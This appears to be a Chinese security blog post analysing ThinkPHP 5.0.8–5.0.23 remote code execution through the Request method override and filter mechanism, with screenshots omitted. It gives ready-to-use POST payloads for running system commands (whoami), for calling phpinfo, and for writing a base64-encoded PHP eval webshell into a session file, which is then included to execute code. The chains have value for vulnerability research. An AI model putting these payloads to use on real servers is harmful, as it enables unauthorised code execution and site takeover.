0%

ThinkPHPv5 RCE改造

image-20220425100627897

前言

看到一篇文章 TP5 RCE利用链改造 - 先知社区 觉得挺有意思的,吐槽下:看了一下自己以前写的TP文章,太拉跨了,有空重新写一遍

改造后版本影响 5.0.8-5.0.23

环境

  • WIN11
  • php7.3.4
  • TPv5.0.23

回顾

开启debug

先贴个payload

_method=__construct&method=GET&filter[]=system&get[]=whoami
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami(比较通用)

TP5的RCE的原因就是因为在Request类中的method方法可以调用当前类的任意方法

image-20220424223030239

调用了__construct方法

image-20220424223149773

覆盖了参数 method=GET、filter=array(‘system’)、get=array(‘whoami’) 这是construct最重要的作用:覆盖参数

然后走到了filterValue

image-20220424225459956

然后触发rce

image-20220424225556774

整体流程为:

image-20220425100627897

补充:

还可以这样的payload

http://127.0.0.1/public/?a=whoami
_method=__construct&filter[]=system

因为在二次进入input时,调用get(),然后参数合并

image-20220425140620991

所以当没有覆盖$this->get时,会去获取url中的值

未开启debug

未开启debug情况下跟 captcha 验证码有分不开的联系,环境配置如下,composer引入

composer require topthink/think-captcha 1.*

application/config.php添加

'captcha'  => [
// 验证码字符集合
'codeSet' => '2345678abcdefhijkmnpqrstuvwxyzABCDEFGHJKLMNPQRTUVWXY',
// 验证码字体大小(px),根据所需进行设置验证码字体大小
'fontSize' => 30,
// 是否画混淆曲线
'useCurve' => true,
// 验证码图片高度,根据所需进行设置高度
'imageH' => '',
// 验证码图片宽度,根据所需进行设置宽度
'imageW' => '',
// 验证码位数,根据所需设置验证码位数
'length' => 4,
// 验证成功后是否重置
'reset' => true
],

先给出正常的poc

http://127.0.0.1/public/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

经过 __construct()覆盖后返回到run()**,需要注意的是请求的路由是 **?s=captcha,它对应的注册规则为 \think\Route::get。在method方法结束后,返回值应为get,所以在 __construct() 覆盖值为get

image-20220425163033274

captcha路由对应的**$dispatch[‘type’]=method**,这里进入下面的exec()

image-20220425161308944

顺利**进入Request::param()**,往下就流程同未开启debug一样

改造

如果不能利用 __construct方法,也就是不能覆盖 filter 参数,而call_user_func中的value可以通过URL传入经过get()从而可控,尝试寻找一种新的方法去控制$filter即可,

开启debug改造

命令执行

给出命令执行的poc

POST:
http://127.0.0.1/public/?a=whoami
0=system&_method=filter

分析:任意调用方法

调用filter()

image-20220425120242803

由App:run()进入param()

image-20220425120411572

进入$this->filterValue(),但是这里由于没有走到参数合并处,并没有成功rce

image-20220425120542003

走到参数合并

image-20220425142256613

再次进入input(),调用filterValue

image-20220425142401614

命令执行

image-20220425142432637

流程:

image-20220425115902279

phpinfo

server函数中 将全局变量$_SERVER,赋值给$this->server ,传入input()

image-20220424230856390

在input()中 $data为传入的$server,这里取获取请求方式,也就是POST

image-20220424231116137

在首次进入filterValue时,调用情况是这样的,对于filter是一种循环调用,上次call_user_func的结果作为filter的参数进行调用

image-20220424230442301

虽然value不可控,能否尝试利用 filter对一个不可控的参数进行调用后产生的结果不影响下次filter的调用

这里说两个函数 error_reporting 和 phpinfo

error_reporting('test') 返回数字
phpinfo(6789) 正常调用

对于filter的控制我们可以用 filter($filter = null) 函数来进行控制

image-20220425103831864

给出poc

0=error_reporting&1=phpinfo&_method=filter

任意方法调用

image-20220425104706349

调用filter,设置$this->filter

image-20220425104743332

返回到run(),一路进入到input()

image-20220425104952965

循环调用

image-20220425105144946

image-20220425105201835

相当于是流程图中的 二 中实现的

image-20220425113254522

sesison文件写入

poc

POST
http://127.0.0.1/public/?a=PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2MnXSkpOyA/Pg==
0=base64_decode&1=think\Session::set&_method=filter

session文件包含

poc

http://127.0.0.1/public/
Cookie: POST=D:/phpstudy_pro/Extensions/tmp/tmp/sess_nccaieuoqs98rdv8r72hstqfh1
0=\think\Cookie::get&1=think\__include_file&_method=filter&c=phpinfo();

如果构造的poc为这样,会导致在include时报错退出程序,利用 \think\Cookie::get 去改变POST的值。

http://127.0.0.1/public/?a=D:/phpstudy_pro/Extensions/tmp/tmp/sess_nccaieuoqs98rdv8r72hstqfh1
0=think\__include_file&_method=filter&c=phpinfo();

image-20220425150705823

image-20220425150852481

未开启debug改造(失败)

这样的改造,感觉是很难找出的,这里的$this->method我们指向filter的话,虽然调用了filter函数,但是返回值 $this->method 不等于get,所以在switch时,$dispatch[‘type’]=module,无法进入param()函数

image-20220425164535226